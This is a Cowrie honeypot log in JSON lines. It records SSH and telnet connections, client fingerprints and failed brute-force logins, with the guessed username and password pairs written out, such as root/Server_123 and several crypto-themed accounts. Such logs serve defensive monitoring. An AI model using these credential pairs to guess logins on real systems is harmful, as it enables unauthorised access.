{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:35:56.037283Z","src_ip":"198.1.75.59","session":"62e1f6b5cb62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:35:56.126198Z","src_ip":"198.1.75.59","session":"62e1f6b5cb62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samourai","password":"S@f3!P#ssw0rd$33","message":"login attempt [samourai/S@f3!P#ssw0rd$33] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:35:56.394418Z","src_ip":"198.1.75.59","session":"62e1f6b5cb62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:15.882402Z","src_ip":"198.1.75.59","session":"62e1f6b5cb62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":54022,"dst_ip":"10.17.0.5","dst_port":22,"session":"83972fbc0f28","protocol":"ssh","message":"New connection: 61.72.55.130:54022 (10.17.0.5:22) [session: 83972fbc0f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:34.610220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:34.614220Z","src_ip":"61.72.55.130","session":"83972fbc0f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:34.817601Z","src_ip":"61.72.55.130","session":"83972fbc0f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":36124,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad9dadbe3809","protocol":"ssh","message":"New connection: 162.214.5.224:36124 (159.203.135.109:22) [session: ad9dadbe3809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:34.868819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:34.878530Z","src_ip":"162.214.5.224","session":"ad9dadbe3809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:34.968770Z","src_ip":"162.214.5.224","session":"ad9dadbe3809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tunisia","password":"Tunis#Ethereum#Cr@zy!","message":"login attempt [tunisia/Tunis#Ethereum#Cr@zy!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:35.260504Z","src_ip":"162.214.5.224","session":"ad9dadbe3809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu12","message":"login attempt [ubuntu/ubuntu12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:35.668544Z","src_ip":"61.72.55.130","session":"83972fbc0f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:36.352280Z","src_ip":"162.214.5.224","session":"ad9dadbe3809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:36.875512Z","src_ip":"61.72.55.130","session":"83972fbc0f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":34026,"dst_ip":"10.17.0.5","dst_port":22,"session":"a15d451131e9","protocol":"ssh","message":"New connection: 91.92.40.176:34026 (10.17.0.5:22) [session: a15d451131e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:47.335638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:47.339664Z","src_ip":"91.92.40.176","session":"a15d451131e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:47.421188Z","src_ip":"91.92.40.176","session":"a15d451131e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:47.667099Z","src_ip":"91.92.40.176","session":"a15d451131e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:48.994969Z","src_ip":"91.92.40.176","session":"a15d451131e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00222182273865,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:36:50.418307Z","src_ip":"137.184.5.188","session":"e2d53a630062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":39578,"dst_ip":"10.17.0.5","dst_port":22,"session":"a751709ffa52","protocol":"ssh","message":"New connection: 61.72.55.130:39578 (10.17.0.5:22) [session: a751709ffa52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:38:51.043498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:38:51.047571Z","src_ip":"61.72.55.130","session":"a751709ffa52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:38:51.249511Z","src_ip":"61.72.55.130","session":"a751709ffa52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server_123","message":"login attempt [root/Server_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:38:52.091124Z","src_ip":"61.72.55.130","session":"a751709ffa52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:38:53.295434Z","src_ip":"61.72.55.130","session":"a751709ffa52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":45128,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c6e4e1898d6","protocol":"ssh","message":"New connection: 192.169.202.129:45128 (159.203.135.109:22) [session: 5c6e4e1898d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:38:59.031849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:38:59.035637Z","src_ip":"192.169.202.129","session":"5c6e4e1898d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:38:59.103144Z","src_ip":"192.169.202.129","session":"5c6e4e1898d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitstamp","password":"bitstamp123","message":"login attempt [bitstamp/bitstamp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:38:59.298878Z","src_ip":"192.169.202.129","session":"5c6e4e1898d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:00.373820Z","src_ip":"192.169.202.129","session":"5c6e4e1898d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":50654,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e3a355742d7","protocol":"telnet","message":"New connection: 154.90.70.69:50654 (159.203.135.109:23) [session: 5e3a355742d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:23.360488Z"}
{"eventid":"cowrie.session.closed","duration":0.0036165714263916016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:23.363988Z","src_ip":"154.90.70.69","session":"5e3a355742d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":50660,"dst_ip":"159.203.135.109","dst_port":23,"session":"56a049566c57","protocol":"telnet","message":"New connection: 154.90.70.69:50660 (159.203.135.109:23) [session: 56a049566c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:23.439077Z"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:25.240948Z","src_ip":"154.90.70.69","session":"56a049566c57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.003814220428467,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:26.442771Z","src_ip":"154.90.70.69","session":"56a049566c57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":58346,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ebfca77d634","protocol":"ssh","message":"New connection: 20.228.179.34:58346 (159.203.135.109:22) [session: 5ebfca77d634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:48.558984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:48.567659Z","src_ip":"20.228.179.34","session":"5ebfca77d634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:48.582425Z","src_ip":"20.228.179.34","session":"5ebfca77d634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"guarda456","message":"login attempt [root/guarda456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:48.628118Z","src_ip":"20.228.179.34","session":"5ebfca77d634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:49.644829Z","src_ip":"20.228.179.34","session":"5ebfca77d634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":47776,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bd12b1bdbe5","protocol":"ssh","message":"New connection: 143.20.185.207:47776 (159.203.135.109:22) [session: 7bd12b1bdbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:58.052570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:58.065118Z","src_ip":"143.20.185.207","session":"7bd12b1bdbe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:58.244447Z","src_ip":"143.20.185.207","session":"7bd12b1bdbe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined#4VCPU16GBAMD","message":"login attempt [root/undefined#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:58.769793Z","src_ip":"143.20.185.207","session":"7bd12b1bdbe5","protocol":"ssh"}
